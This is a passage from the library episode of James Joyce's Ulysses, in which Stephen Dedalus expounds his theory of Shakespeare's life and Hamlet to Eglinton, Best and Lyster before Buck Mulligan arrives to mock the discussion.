he trudged to Romeville whistling +THE GIRL I LEFT BEHIND ME. If the earthquake did not time it we should +know where to place poor Wat, sitting in his form, the cry of hounds, the +studded bridle and her blue windows. That memory, VENUS AND ADONIS, lay +in the bedchamber of every light-of-love in London. Is Katharine the +shrew illfavoured? Hortensio calls her young and beautiful. Do you think +the writer of ANTONY AND CLEOPATRA, a passionate pilgrim, had his eyes in +the back of his head that he chose the ugliest doxy in all Warwickshire +to lie withal? Good: he left her and gained the world of men. But his +boywomen are the women of a boy. Their life, thought, speech are lent +them by males. He chose badly? He was chosen, it seems to me. If others +have their will Ann hath a way. By cock, she was to blame. She put the +comether on him, sweet and twentysix. The greyeyed goddess who bends over +the boy Adonis, stooping to conquer, as prologue to the swelling act, is +a boldfaced Stratford wench who tumbles in a cornfield a lover younger +than herself. + +And my turn? When? + +Come! + +--Ryefield, Mr Best said brightly, gladly, raising his new book, gladly, +brightly. + +He murmured then with blond delight for all: + + + BETWEEN THE ACRES OF THE RYE + THESE PRETTY COUNTRYFOLK WOULD LIE. + + +Paris: the wellpleased pleaser. + +A tall figure in bearded homespun rose from shadow and unveiled its +cooperative watch. + +--I am afraid I am due at the HOMESTEAD. + +Whither away? Exploitable ground. + +--Are you going? John Eglinton's active eyebrows asked. Shall we see you +at Moore's tonight? Piper is coming. + +--Piper! Mr Best piped. Is Piper back? + +Peter Piper pecked a peck of pick of peck of pickled pepper. + +--I don't know if I can. Thursday. We have our meeting. If I can get away +in time. + +Yogibogeybox in Dawson chambers. ISIS UNVEILED. Their Pali book we tried +to pawn. Crosslegged under an umbrel umbershoot he thrones an Aztec +logos, functioning on astral levels, their oversoul, mahamahatma. The +faithful hermetists await the light, ripe for chelaship, ringroundabout +him. Louis H. Victory. T. Caulfield Irwin. Lotus ladies tend them i'the +eyes, their pineal glands aglow. Filled with his god, he thrones, Buddh +under plantain. Gulfer of souls, engulfer. Hesouls, shesouls, shoals of +souls. Engulfed with wailing creecries, whirled, whirling, they bewail. + + + IN QUINTESSENTIAL TRIVIALITY + FOR YEARS IN THIS FLESHCASE A SHESOUL DWELT. + + +--They say we are to have a literary surprise, the quaker librarian said, +friendly and earnest. Mr Russell, rumour has it, is gathering together a +sheaf of our younger poets' verses. We are all looking forward anxiously. + +Anxiously he glanced in the cone of lamplight where three faces, lighted, +shone. + +See this. Remember. + +Stephen looked down on a wide headless caubeen, hung on his +ashplanthandle over his knee. My casque and sword. Touch lightly with two +index fingers. Aristotle's experiment. One or two? Necessity is that in +virtue of which it is impossible that one can be otherwise. Argal, one +hat is one hat. + +Listen. + +Young Colum and Starkey. George Roberts is doing the commercial part. +Longworth will give it a good puff in the EXPRESS. O, will he? I liked +Colum's DROVER. Yes, I think he has that queer thing genius. Do you think +he has genius really? Yeats admired his line: AS IN WILD EARTH A GRECIAN +VASE. Did he? I hope you'll be able to come tonight. Malachi Mulligan is +coming too. Moore asked him to bring Haines. Did you hear Miss Mitchell's +joke about Moore and Martyn? That Moore is Martyn's wild oats? Awfully +clever, isn't it? They remind one of Don Quixote and Sancho Panza. Our +national epic has yet to be written, Dr Sigerson says. Moore is the man +for it. A knight of the rueful countenance here in Dublin. With a saffron +kilt? O'Neill Russell? O, yes, he must speak the grand old tongue. And +his Dulcinea? James Stephens is doing some clever sketches. We are +becoming important, it seems. + +Cordelia. CORDOGLIO. Lir's loneliest daughter. + +Nookshotten. Now your best French polish. + +--Thank you very much, Mr Russell, Stephen said, rising. If you will be +so kind as to give the letter to Mr Norman ... + +--O, yes. If he considers it important it will go in. We have so much +correspondence. + +--I understand, Stephen said. Thanks. + +God ild you. The pigs' paper. Bullockbefriending. + +Synge has promised me an article for DANA too. Are we going to be read? I +feel we are. The Gaelic league wants something in Irish. I hope you will +come round tonight. Bring Starkey. + +Stephen sat down. + +The quaker librarian came from the leavetakers. Blushing, his mask said: + +--Mr Dedalus, your views are most illuminating. + +He creaked to and fro, tiptoing up nearer heaven by the altitude of a +chopine, and, covered by the noise of outgoing, said low: + +--Is it your view, then, that she was not faithful to the poet? + +Alarmed face asks me. Why did he come? Courtesy or an inward light? + +--Where there is a reconciliation, Stephen said, there must have been +first a sundering. + +--Yes. + +Christfox in leather trews, hiding, a runaway in blighted treeforks, from +hue and cry. Knowing no vixen, walking lonely in the chase. Women he won +to him, tender people, a whore of Babylon, ladies of justices, bully +tapsters' wives. Fox and geese. And in New Place a slack dishonoured body +that once was comely, once as sweet, as fresh as cinnamon, now her leaves +falling, all, bare, frighted of the narrow grave and unforgiven. + +--Yes. So you think ... + +The door closed behind the outgoer. + +Rest suddenly possessed the discreet vaulted cell, rest of warm and +brooding air. + +A vestal's lamp. + +Here he ponders things that were not: what Caesar would have lived to do +had he believed the soothsayer: what might have been: possibilities of +the possible as possible: things not known: what name Achilles bore when +he lived among women. + +Coffined thoughts around me, in mummycases, embalmed in spice of words. +Thoth, god of libraries, a birdgod, moonycrowned. And I heard the voice +of that Egyptian highpriest. IN PAINTED CHAMBERS LOADED WITH TILEBOOKS. + +They are still. Once quick in the brains of men. Still: but an itch of +death is in them, to tell me in my ear a maudlin tale, urge me to wreak +their will. + +--Certainly, John Eglinton mused, of all great men he is the most +enigmatic. We know nothing but that he lived and suffered. Not even so +much. Others abide our question. A shadow hangs over all the rest. + +--But HAMLET is so personal, isn't it? Mr Best pleaded. I mean, a kind of +private paper, don't you know, of his private life. I mean, I don't care +a button, don't you know, who is killed or who is guilty ... + +He rested an innocent book on the edge of the desk, smiling his defiance. +His private papers in the original. TA AN BAD AR AN TIR. TAIM IN MO +SHAGART. Put beurla on it, littlejohn. + +Quoth littlejohn Eglinton: + +--I was prepared for paradoxes from what Malachi Mulligan told us but I +may as well warn you that if you want to shake my belief that Shakespeare +is Hamlet you have a stern task before you. + +Bear with me. + +Stephen withstood the bane of miscreant eyes glinting stern under +wrinkled brows. A basilisk. E QUANDO VEDE L'UOMO L'ATTOSCA. Messer +Brunetto, I thank thee for the word. + +--As we, or mother Dana, weave and unweave our bodies, Stephen said, from +day to day, their molecules shuttled to and fro, so does the artist weave +and unweave his image. And as the mole on my right breast is where it was +when I was born, though all my body has been woven of new stuff time +after time, so through the ghost of the unquiet father the image of the +unliving son looks forth. In the intense instant of imagination, when the +mind, Shelley says, is a fading coal, that which I was is that which I am +and that which in possibility I may come to be. So in the future, the +sister of the past, I may see myself as I sit here now but by reflection +from that which then I shall be. + +Drummond of Hawthornden helped you at that stile. + +--Yes, Mr Best said youngly. I feel Hamlet quite young. The bitterness +might be from the father but the passages with Ophelia are surely from +the son. + +Has the wrong sow by the lug. He is in my father. I am in his son. + +--That mole is the last to go, Stephen said, laughing. + +John Eglinton made a nothing pleasing mow. + +--If that were the birthmark of genius, he said, genius would be a drug +in the market. The plays of Shakespeare's later years which Renan admired +so much breathe another spirit. + +--The spirit of reconciliation, the quaker librarian breathed. + +--There can be no reconciliation, Stephen said, if there has not been a +sundering. + +Said that. + +--If you want to know what are the events which cast their shadow over +the hell of time of KING LEAR, OTHELLO, HAMLET, TROILUS AND CRESSIDA, +look to see when and how the shadow lifts. What softens the heart of a +man, shipwrecked in storms dire, Tried, like another Ulysses, Pericles, +prince of Tyre? + +Head, redconecapped, buffeted, brineblinded. + +--A child, a girl, placed in his arms, Marina. + +--The leaning of sophists towards the bypaths of apocrypha is a constant +quantity, John Eglinton detected. The highroads are dreary but they lead +to the town. + +Good Bacon: gone musty. Shakespeare Bacon's wild oats. Cypherjugglers +going the highroads. Seekers on the great quest. What town, good masters? +Mummed in names: A. E., eon: Magee, John Eglinton. East of the sun, west +of the moon: TIR NA N-OG. Booted the twain and staved. + + + HOW MANY MILES TO DUBLIN? + THREE SCORE AND TEN, SIR. + WILL WE BE THERE BY CANDLELIGHT? + + +--Mr Brandes accepts it, Stephen said, as the first play of the closing +period. + +--Does he? What does Mr Sidney Lee, or Mr Simon Lazarus as some aver his +name is, say of it? + +--Marina, Stephen said, a child of storm, Miranda, a wonder, Perdita, +that which was lost. What was lost is given back to him: his daughter's +child. MY DEAREST WIFE, Pericles says, WAS LIKE THIS MAID. Will any man +love the daughter if he has not loved the mother? + +--The art of being a grandfather, Mr Best gan murmur. L'ART D'ETRE GRAND +... + +--Will he not see reborn in her, with the memory of his own youth added, +another image? + +Do you know what you are talking about? Love, yes. Word known to all men. +Amor vero aliquid alicui bonum vult unde et ea quae concupiscimus ... + +--His own image to a man with that queer thing genius is the standard of +all experience, material and moral. Such an appeal will touch him. The +images of other males of his blood will repel him. He will see in them +grotesque attempts of nature to foretell or to repeat himself. + +The benign forehead of the quaker librarian enkindled rosily with hope. + +--I hope Mr Dedalus will work out his theory for the enlightenment of the +public. And we ought to mention another Irish commentator, Mr George +Bernard Shaw. Nor should we forget Mr Frank Harris. His articles on +Shakespeare in the SATURDAY REVIEW were surely brilliant. Oddly enough he +too draws for us an unhappy relation with the dark lady of the sonnets. +The favoured rival is William Herbert, earl of Pembroke. I own that if +the poet must be rejected such a rejection would seem more in harmony +with--what shall I say?--our notions of what ought not to have been. + +Felicitously he ceased and held a meek head among them, auk's egg, prize +of their fray. + +He thous and thees her with grave husbandwords. Dost love, Miriam? Dost +love thy man? + +--That may be too, Stephen said. There's a saying of Goethe's which Mr +Magee likes to quote. Beware of what you wish for in youth because you +will get it in middle life. Why does he send to one who is a BUONAROBA, a +bay where all men ride, a maid of honour with a scandalous girlhood, a +lordling to woo for him? He was himself a lord of language and had made +himself a coistrel gentleman and he had written ROMEO AND JULIET. Why? +Belief in himself has been untimely killed. He was overborne in a +cornfield first (ryefield, I should say) and he will never be a victor in +his own eyes after nor play victoriously the game of laugh and lie down. +Assumed dongiovannism will not save him. No later undoing will undo the +first undoing. The tusk of the boar has wounded him there where love lies +ableeding. If the shrew is worsted yet there remains to her woman's +invisible weapon. There is, I feel in the words, some goad of the flesh +driving him into a new passion, a darker shadow of the first, darkening +even his own understanding of himself. A like fate awaits him and the two +rages commingle in a whirlpool. + +They list. And in the porches of their ears I pour. + +--The soul has been before stricken mortally, a poison poured in the +porch of a sleeping ear. But those who are done to death in sleep cannot +know the manner of their quell unless their Creator endow their souls +with that knowledge in the life to come. The poisoning and the beast with +two backs that urged it King Hamlet's ghost could not know of were he not +endowed with knowledge by his creator. That is why the speech (his lean +unlovely English) is always turned elsewhere, backward. Ravisher and +ravished, what he would but would not, go with him from Lucrece's +bluecircled ivory globes to Imogen's breast, bare, with its mole +cinquespotted. He goes back, weary of the creation he has piled up to +hide him from himself, an old dog licking an old sore. But, because loss +is his gain, he passes on towards eternity in undiminished personality, +untaught by the wisdom he has written or by the laws he has revealed. His +beaver is up. He is a ghost, a shadow now, the wind by Elsinore's rocks +or what you will, the sea's voice, a voice heard only in the heart of him +who is the substance of his shadow, the son consubstantial with the +father. + +--Amen! was responded from the doorway. + +Hast thou found me, O mine enemy? + +ENTR'ACTE. + +A ribald face, sullen as a dean's, Buck Mulligan came forward, then +blithe in motley, towards the greeting of their smiles. My telegram. + +--You were speaking of the gaseous vertebrate, if I mistake not? he asked +of Stephen. + +Primrosevested he greeted gaily with his doffed Panama as with a bauble. + +They make him welcome. WAS DU VERLACHST WIRST DU NOCH DIENEN. + +Brood of mockers: Photius, pseudomalachi, Johann Most. + +He Who Himself begot middler the Holy Ghost and Himself sent Himself, +Agenbuyer, between Himself and others, Who, put upon by His fiends, +stripped and whipped, was nailed like bat to barndoor, starved on +crosstree, Who let Him bury, stood up, harrowed hell, fared into heaven +and there these nineteen hundred years sitteth on the right hand of His +Own Self but yet shall come in the latter day to doom the quick and dead +when all the quick shall be dead already. + +Glo--o--ri--a in ex--cel--sis De--o. + +He lifts his hands. Veils fall. O, flowers! Bells with bells with bells +aquiring. + +--Yes, indeed, the quaker librarian said. A most instructive discussion. +Mr Mulligan, I'll be bound, has his theory too of the play and of +Shakespeare. All sides of life should be represented. + +He smiled on all sides equally. + +Buck Mulligan thought, puzzled: + +--Shakespeare? he said. I seem to know the name. + +A flying sunny smile rayed in his loose features. + +--To be sure, he said, remembering brightly. The chap that writes like +Synge. + +Mr Best turned to him. + +--Haines missed you, he said. Did you meet him? He'll see you after at +the D. B. C. He's gone to Gill's to buy Hyde's LOVESONGS OF CONNACHT. + +--I came through the museum, Buck Mulligan said. Was he here? + +--The bard's fellowcountrymen, John Eglinton answered, are rather tired +perhaps of our brilliancies of theorising. I hear that an actress played +Hamlet for the fourhundredandeighth time last night in Dublin. Vining +held that the prince was a woman. Has no-one made him out to be an +Irishman? Judge Barton, I believe, is searching for some clues. He swears +(His Highness not His Lordship) by saint Patrick. + +--The most brilliant of all is that story of Wilde's, Mr Best said, +lifting his brilliant notebook. That PORTRAIT OF MR W. H. where he proves +that the sonnets were written by a Willie Hughes, a man all hues. + +--For Willie Hughes, is it not? the quaker librarian asked. + +Or Hughie Wills? Mr William Himself. W. H.: who am I? + +--I mean, for Willie Hughes, Mr Best said, amending his gloss easily. Of +course it's all paradox, don't you know, Hughes and hews and hues, the +colour, but it's so typical the way he works it out. It's the very +essence of Wilde, don't you know. The light touch. + +His glance touched their faces lightly as he smiled, a blond ephebe. Tame +essence of Wilde. + +You're darned witty. Three drams of usquebaugh you drank with Dan Deasy's +ducats. + +How much did I spend? O, a few shillings. + +For a plump of pressmen. Humour wet and dry. + +Wit. You would give your five wits for youth's proud livery he pranks in. +Lineaments of gratified desire. + +There be many mo. Take her for me. In pairing time. Jove, a cool ruttime +send them. Yea, turtledove her. + +Eve. Naked wheatbellied sin. A snake coils her, fang in's kiss. + +--Do you think it is only a paradox? the quaker librarian was asking. The +mocker is never taken seriously when he is most serious. + +They talked seriously of mocker's seriousness. + +Buck Mulligan's again heavy face eyed Stephen awhile. Then, his head +wagging, he came near, drew a folded telegram from his pocket. His mobile +lips read, smiling with new delight. + +--Telegram! he said. Wonderful inspiration! Telegram! A papal bull! + +He sat on a corner of the unlit desk, reading aloud joyfully: + +--THE SENTIMENTALIST IS HE WHO WOULD ENJOY WITHOUT INCURRING THE IMMENSE +DEBTORSHIP FOR A THING DONE. Signed: Dedalus. Where did you launch it +from? The kips? No. College Green. Have you drunk the four quid? The aunt +is going to call on your unsubstantial father. Telegram! Malachi +Mulligan, The Ship, lower Abbey street. O, you peerless mummer! O, you +priestified Kinchite! + +Joyfully he thrust message and envelope into a pocket but keened in a +querulous brogue: + +--It's what I'm telling you, mister honey, it's queer and sick we were, +Haines and myself, the time himself brought it in. 'Twas murmur we did +for a gallus potion would rouse a friar, I'm thinking, and he limp with +leching. And we one hour and two hours and three hours in Connery's +sitting civil waiting for pints apiece. + +He wailed: + +--And we to be there, mavrone, and you to be unbeknownst sending us your +conglomerations the way we to have our tongues out a yard long like the +drouthy clerics do be fainting for a pussful. + +Stephen laughed. + +Quickly, warningfully Buck Mulligan bent down. + +--The tramper Synge is looking for you, he said, to murder you. He heard +you pissed on his halldoor in Glasthule. He's out in pampooties to murder +you. + +--Me! Stephen exclaimed. That was your contribution to literature. + +Buck Mulligan gleefully bent back, laughing to the dark eavesdropping +ceiling. + +--Murder you! he laughed. + +Harsh gargoyle face that warred against me over our mess of hash of +lights in rue Saint-Andre-des-Arts. In words of words for words, +palabras. Oisin with Patrick. Faunman he met in Clamart woods, +brandishing a winebottle. C'EST VENDREDI SAINT! Murthering Irish. His +image, wandering, he met. I mine. I met a fool i'the forest. + +--Mr Lyster, an attendant said from the door ajar. + +-- ... in which everyone can find his own. So Mr Justice Madden in his +DIARY OF MASTER WILLIAM SILENCE has found the hunting terms ... Yes? What +is it? + +--There's a gentleman here, sir, the attendant said, coming forward and +offering a card. From the FREEMAN. He wants to see the files of the +KILKENNY PEOPLE for last year. + +--Certainly, certainly, certainly. Is the gentleman? ... + +He took the eager card, glanced, not saw, laid down unglanced, looked, +asked, creaked, asked: + +--Is he? ... O, there! + +Brisk in a galliard he was off, out. In the daylit corridor he talked +with voluble pains of zeal, in duty bound, most fair, most kind, most +honest broadbrim. + +--This gentleman? FREEMAN'S JOURNAL? KILKENNY PEOPLE? To be sure. Good +day, sir. KILKENNY ... We have certainly ... + +A patient silhouette waited, listening. + +--All the leading provincial ... NORTHERN WHIG, CORK EXAMINER, +ENNISCORTHY GUARDIAN, 1903 ... Will you please? ... Evans, conduct this +gentleman ... If you just follow the atten ... Or, please allow me ... +This way ... Please, sir ... + +Voluble, dutiful, he led the way to all the provincial papers, a bowing +dark figure following his hasty heels. + +The door closed. + +--The sheeny! Buck Mulligan cried. + +He jumped up and snatched the card. + +--What's his name? Ikey Moses? Bloom. + +He rattled on: + +--Jehovah, collector of prepuces, is no more. I found him over in the +museum where I went to hail the foamborn Aphrodite. The Greek mouth that +has never been twisted in prayer. Every day we must do homage to her. +LIFE OF LIFE, THY LIPS ENKINDLE. + +Suddenly he turned to Stephen: + +--He knows you. He knows your old fellow. O, I fear me, he is Greeker +than the Greeks. His pale Galilean eyes were upon her mesial groove. +Venus Kallipyge. O, the thunder of those loins! THE GOD PURSUING THE +MAIDEN HID. + +--We want to hear more, John Eglinton decided with Mr Best's approval. We +begin to be interested in Mrs S. Till now we had thought of her, if at +all, as a patient Griselda, a Penelope stayathome. + +--Antisthenes, pupil of Gorgias, Stephen said, took the palm of beauty +from Kyrios Menelaus' brooddam, Argive Helen, the wooden mare of Troy in +whom a score of heroes slept, and handed it to poor Penelope. Twenty +years he lived in London and, during part of that time, he drew a salary +equal to that of the lord chancellor of Ireland. His life was rich. His +art, more than the art of feudalism as Walt Whitman called it, is the art +of surfeit. Hot herringpies, green mugs of sack, honeysauces, sugar of +roses, marchpane, gooseberried pigeons, ringocandies. Sir Walter Raleigh, +when they arrested him, had half a million francs on his back including a +pair of fancy stays. The gombeenwoman Eliza Tudor had underlinen enough +to vie with her of Sheba. Twenty years he dallied there between conjugial +love and its chaste delights and scortatory love and its foul pleasures. +You know Manningham's story of the burgher's wife who bade Dick Burbage +to her bed after she had seen him in RICHARD III and how Shakespeare, +overhearing, without more ado about nothing, took the cow by the horns +and, when Burbage came knocking at the gate, answered from the capon's +blankets: WILLIAM THE CONQUEROR CAME BEFORE RICHARD III. And the gay +lakin, mistress Fitton, mount and cry O, and his dainty birdsnies, lady +Penelope Rich, a clean quality woman is suited for a player, and the +punks of the bankside, a penny a time. + +Cours la Reine. ENCORE VINGT SOUS. NOUS FERONS DE PETITES COCHONNERIES. +MINETTE? TU VEUX? + +--The height of fine society. And sir William Davenant of oxford's mother +with her cup of canary for any cockcanary. + +Buck Mulligan, his pious eyes upturned, prayed: + +--Blessed Margaret Mary Anycock! + +--And Harry of six wives' daughter. And other lady friends from neighbour +seats as Lawn Tennyson, gentleman poet, sings. But all those twenty years +what do you suppose poor Penelope in Stratford was doing behind the +diamond panes? + +Do and do. Thing done. In a rosery of Fetter lane of Gerard, herbalist, +he walks, greyedauburn. An azured harebell like her veins. Lids of Juno's +eyes, violets. He walks. One life is all. One body. Do. But do. Afar, in +a reek of lust and squalor, hands are laid on whiteness. + +Buck Mulligan rapped John Eglinton's desk sharply. + +--Whom do you suspect? he challenged. + +--Say that he is the spurned lover in the sonnets. Once spurned twice +spurned. But the court wanton spurned him for a lord, his dearmylove. + +Love that dare not speak its name. + +--As an Englishman, you mean, John sturdy Eglinton put in, he loved a +lord. + +Old wall where sudden lizards flash. At Charenton I watched them. + +--It seems so, Stephen said, when he wants to do for him, and for all +other and singular uneared wombs, the holy office an ostler does for the +stallion. Maybe, like Socrates, he had a midwife to mother as he had a +shrew to wife. But she, the giglot wanton, did not break a bedvow. Two +deeds are rank in that ghost's mind: a broken vow and the dullbrained +yokel on whom her favour has declined, deceased husband's brother. Sweet +Ann, I take it, was hot in the blood. Once a wooer, twice a wooer. + +Stephen turned boldly in his chair. + +--The burden of proof is with you not with me, he said frowning. If you +deny that in the fifth scene of HAMLET he has branded her with infamy +tell me why there is no mention of her during the thirtyfour years +between the day she married him and the day she buried him. All those +women saw their men down and under: Mary, her goodman John, Ann, her poor +dear Willun, when he went and died on her, raging that he was the first +to go, Joan, her four brothers, Judith, her husband and all her sons, +Susan, her husband too, while Susan's daughter, Elizabeth, to use +granddaddy's words, wed her second, having killed her first. + +O, yes, mention there is. In the years when he was living richly in royal +London to pay a debt she had to borrow forty shillings from her father's +shepherd. Explain you then. Explain the swansong too wherein he has +commended her to posterity. + +He faced their silence. + +To whom thus Eglinton: + + + You mean the will. + But that has been explained, I believe, by jurists. + She was entitled to her widow's dower + At common law. His legal knowledge was great + Our judges tell us. + Him Satan fleers, + Mocker: + And therefore he left out her name + From the first draft but he did not leave out + The presents for his granddaughter, for his daughters, + For his sister, for his old cronies in Stratford + And in London. And therefore when he was urged, + As I believe, to name her + He left her his + Secondbest + Bed. + PUNKT. + Leftherhis + Secondbest + Leftherhis + Bestabed + Secabest + Leftabed. + + +Woa! + +AMPLIUS. IN SOCIETATE HUMANA HOC EST MAXIME NECESSARIUM UT SIT AMICITIA +INTER MULTOS. + +--Saint Thomas, Stephen began ... + +--ORA PRO NOBIS, Monk Mulligan groaned, sinking to a chair. + +There he keened a wailing rune. + +--POGUE MAHONE! ACUSHLA MACHREE! It's destroyed we are from this day! +It's destroyed we are surely! + +All smiled their smiles. + +--Saint Thomas, Stephen smiling said, whose gorbellied works I enjoy +reading in the original, writing of incest from a standpoint different +from that of the new Viennese school Mr Magee spoke of, likens it in his +wise and curious way to an avarice of the emotions. He means that the +love so given to one near in blood is covetously withheld from some +stranger who, it may be, hungers for it. Jews, whom christians tax with +avarice, are of all races the most given to intermarriage. Accusations +are made in anger. The christian laws which built up the hoards of the +jews (for whom, as for the lollards, storm was shelter) bound their +affections too with hoops of steel. Whether these be sins or virtues old +Nobodaddy will tell us at doomsday leet. But a man who holds so tightly +to what he calls his rights over what he calls his debts will hold +tightly also to what he calls his rights over her whom he calls his wife. +No sir smile neighbour shall covet his ox or his wife or his manservant +or his maidservant or his jackass. + +--Or his jennyass, Buck Mulligan antiphoned. + +--Gentle Will is being roughly handled, gentle Mr Best said gently. + +--Which will? gagged sweetly Buck Mulligan. We are getting mixed. + +--The will to live, John Eglinton philosophised, for poor Ann, Will's +widow, is the will to die. + +--REQUIESCAT! Stephen prayed. + + + WHAT OF ALL THE WILL TO DO? + IT HAS VANISHED LONG AGO ... + + +--She lies laid out in stark stiffness in that secondbest bed, the mobled +queen, even though you prove that a bed in those days was as rare as a +motorcar is now and that its carvings were the wonder of seven parishes. +In old age she takes up with gospellers (one stayed with her at New Place +and drank a quart of sack the town council paid for but in which bed he +slept it skills not to ask) and heard she had a soul. She read or had +read to her his chapbooks preferring them to the MERRY WIVES and, loosing +her nightly waters on the jordan, she thought over HOOKS AND EYES FOR +BELIEVERS' BREECHES and THE MOST SPIRITUAL SNUFFBOX TO MAKE THE MOST +DEVOUT SOULS SNEEZE. Venus has twisted her lips in prayer. Agenbite of +inwit: remorse of conscience. It is an age of exhausted whoredom groping +for its god. + +--History shows that to be true, INQUIT EGLINTONUS CHRONOLOLOGOS. The +ages succeed one another. But we have it on high authority that a man's +worst enemies shall be those of his own house and family. I feel that +Russell is right. What do we care for his wife or father? I should say +that only family poets have family lives. Falstaff was not a family man. +I feel that the fat knight is his supreme creation. + +Lean, he lay back. Shy, deny thy kindred, the unco guid. Shy, supping +with the godless, he sneaks the cup. A sire in Ultonian Antrim bade it +him. Visits him here on quarter days. Mr Magee, sir, there's a gentleman +to see you. Me? Says he's your father, sir. Give me my Wordsworth. Enter +Magee Mor Matthew, a rugged rough rugheaded kern, in strossers with a +buttoned codpiece, his nether stocks bemired with clauber of ten forests, +a wand of wilding in his hand. + +Your own? He knows your old fellow. The widower. + +Hurrying to her squalid deathlair from gay Paris on the quayside I +touched his hand. The voice, new warmth, speaking. Dr Bob Kenny is +attending her. The eyes that wish me well. But do not know me. + +--A father, Stephen said, battling against hopelessness, is a necessary +evil. He wrote the play in the months that followed his father's death. +If you hold that he, a greying man with two marriageable daughters, with +thirtyfive years of life, NEL MEZZO DEL CAMMIN DI NOSTRA VITA, with fifty +of experience, is the beardless undergraduate from Wittenberg then you +must hold that his seventyyear old mother is the lustful queen. No. The +corpse of John Shakespeare does not walk the night. From hour to hour it +rots and rots. He rests, disarmed of fatherhood, having devised that +mystical estate upon his son. Boccaccio's Calandrino was the first and +last man who felt himself with child. Fatherhood, in the sense of +conscious begetting, is unknown to man. It is a mystical estate, an +apostolic succession, from only begetter to only begotten. On that +mystery and not on the madonna which the cunning Italian intellect flung +to the mob of Europe the church is founded and founded irremovably +because founded, like the world, macro and microcosm, upon the void. Upon +incertitude, upon unlikelihood. AMOR MATRIS, subjective and objective +genitive, may be the only true thing in life. Paternity may be a legal +fiction. Who is the father of any son that any son should love him or he +any son? + +What the hell are you driving at? + +I know. Shut up. Blast you. I have reasons. + +AMPLIUS. ADHUC. ITERUM. POSTEA. + +Are you condemned to do this? + +--They are sundered by a bodily shame so steadfast that the criminal +annals of the world, stained with all other incests and bestialities, +hardly record its breach. Sons with mothers, sires with daughters, lesbic +sisters, loves that dare not speak their name, nephews with grandmothers, +jailbirds with keyholes, queens with prize bulls. The son unborn mars +beauty: born, he brings pain, divides affection, increases care. He is a +new male: his growth is his father's decline, his youth his father's +envy, his friend his father's enemy. + +In rue Monsieur-le-Prince I thought it. + +--What links them in nature? An instant of blind rut. + +Am I a father? If I were? + +Shrunken uncertain hand. + +--Sabellius, the African, subtlest heresiarch of all the beasts of the +field, held that the Father was Himself His Own Son. The bulldog of +Aquin, with whom no word shall be impossible, refutes him. Well: if the +father who has not a son be not a father can the son who has not a father +be a son? When Rutlandbaconsouthamptonshakespeare or another poet of the +same name in the comedy of errors wrote HAMLET he was not the father of +his own son merely but, being no more a son, he was and felt himself the +father of all his race, the father of his own grandfather, the father of +his unborn grandson who, by the same token, never was born, for nature, +as Mr Magee understands her, abhors perfection. + +Eglintoneyes, quick with pleasure, looked up shybrightly. Gladly +glancing, a merry puritan, through the twisted eglantine. + +Flatter. Rarely. But flatter. + +--Himself his own father, Sonmulligan told himself. Wait. I am big with +child. I have an unborn child in my brain. Pallas Athena! A play! The +play's the thing! Let me parturiate! + +He clasped his paunchbrow with both birthaiding hands. + +--As for his family, Stephen said, his mother's name lives in the forest +of Arden. Her death brought from him the scene with Volumnia in +CORIOLANUS. His boyson's death is the deathscene of young Arthur in KING +JOHN. Hamlet, the black prince, is Hamnet Shakespeare. Who the girls in +THE TEMPEST, in PERICLES, in WINTER'S TALE are we know. Who Cleopatra, +fleshpot of Egypt, and Cressid and Venus are we may guess. But there is +another member of his family who is recorded. + +--The plot thickens, John Eglinton said. + +The quaker librarian, quaking, tiptoed in, quake, his mask, quake, with +haste, quake, quack. + +Door closed. Cell. Day. + +They list. Three. They. + +I you he they. + +Come, mess. + +STEPHEN: He had three brothers, Gilbert, Edmund, Richard. Gilbert in his +old age told some cavaliers he got a pass for nowt from Maister Gatherer +one time mass he did and he seen his brud Maister Wull the playwriter up +in Lunnon in a wrastling play wud a man on's back. The playhouse sausage +filled Gilbert's soul. He is nowhere: but an Edmund and a Richard are +recorded in the works of sweet William. + +MAGEEGLINJOHN: Names! What's in a name? + +BEST: That is my name, Richard, don't you know. I hope you are going to +say a good word for Richard, don't you know, for my sake. + + (Laughter) + +BUCKMULLIGAN: (PIANO, DIMINUENDO) + + Then outspoke medical Dick + To his comrade medical Davy ... + +STEPHEN: In his trinity of black Wills, the villain shakebags, Iago, +Richard Crookback, Edmund in KING LEAR, two bear the wicked uncles' +names. Nay, that last play was written or being written while his brother +Edmund lay dying in Southwark. + +BEST: I hope Edmund is going to catch it. I don't want Richard, my +name ... + + (Laughter) + +QUAKERLYSTER: (A TEMPO) But he that filches from me my good name ... + +STEPHEN: (STRINGENDO) He has hidden his own name, a fair name, William, +in the plays, a super here, a clown there, as a painter of old Italy set +his face in a dark corner of his canvas. He has revealed it in the +sonnets where there is Will in overplus. Like John o'Gaunt his name is +dear to him, as dear as the coat and crest he toadied for, on a bend +sable a spear or steeled argent, honorificabilitudinitatibus, dearer than +his glory of greatest shakescene in the country. What's in a name? That +is what we ask ourselves in childhood when we write the name that we are +told is ours. A star, a daystar, a firedrake, rose at his birth. It shone +by day in the heavens alone, brighter than Venus in the night, and by +night it shone over delta in Cassiopeia, the recumbent constellation +which is the signature of his initial among the stars. His eyes watched +it, lowlying on the horizon, eastward of the bear, as he walked by the +slumberous summer fields at midnight returning from Shottery and from her +arms. + + +Both satisfied. I too. + +Don't tell them he was nine years old when it was quenched. + +And from her arms. + +Wait to be wooed and won. Ay, meacock. Who will woo you? + +Read the skies. AUTONTIMORUMENOS. BOUS STEPHANOUMENOS. Where's your +configuration? Stephen, Stephen, cut the bread even. S. D: SUA DONNA. +GIA: DI LUI. GELINDO RISOLVE DI NON AMARE S. D. + +--What is that, Mr Dedalus? the quaker librarian asked. Was it a +celestial phenomenon? + +--A star by night, Stephen said. A pillar of the cloud by day. + +What more's to speak? + +Stephen looked on his hat, his stick, his boots. + +STEPHANOS, my crown. My sword. His boots are spoiling the shape of +my feet. Buy a pair. Holes in my socks. Handkerchief too. + +--You make good use of the name, John Eglinton allowed. Your own name +is strange enough. I suppose it explains your fantastical humour. + +Me, Magee and Mulligan. + +Fabulous artificer. The hawklike man. You flew. Whereto? +Newhaven-Dieppe, steerage passenger. Paris and back. Lapwing. Icarus. +PATER, AIT. Seabedabbled, fallen, weltering. Lapwing you are. Lapwing be. + +Mr Best eagerquietly lifted his book to say: + +--That's very interesting because that brother motive, don't you know, we +find also in the old Irish myths. Just what you say. The three brothers +Shakespeare. In Grimm too, don't you know, the fairytales. The third +brother that always marries the sleeping beauty and wins the best prize. + +Best of Best brothers. Good, better, best. + +The quaker librarian springhalted near. + +--I should like to know, he said, which brother you ... I understand you +to suggest there was misconduct with one of the brothers ... But +perhaps I am anticipating? + +He caught himself in the act: looked at all: refrained. + +An attendant 